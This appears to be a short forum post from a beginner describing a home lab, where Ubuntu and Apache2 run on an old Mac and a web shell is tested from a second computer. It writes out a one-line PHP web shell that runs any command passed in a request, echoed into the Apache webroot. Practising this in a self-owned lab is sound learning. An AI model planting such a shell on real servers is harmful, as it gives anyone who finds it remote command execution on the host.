Web Shell HomeLab

So i got ubuntu in this old Mac OS of my dads, and i installed apache2, and uploaded a php shell, (that i found online because i dont really know php), to test the web shell.

So after doing the basics, checking the ip adress of my Mac OS, and connection to it with SSH, i did an echo "<?php system($_REQUEST["cmd"]) ?>" > /var/www/html/shell.php directory which is the webroot of apache2.

and i tried to make the connection with my main computer.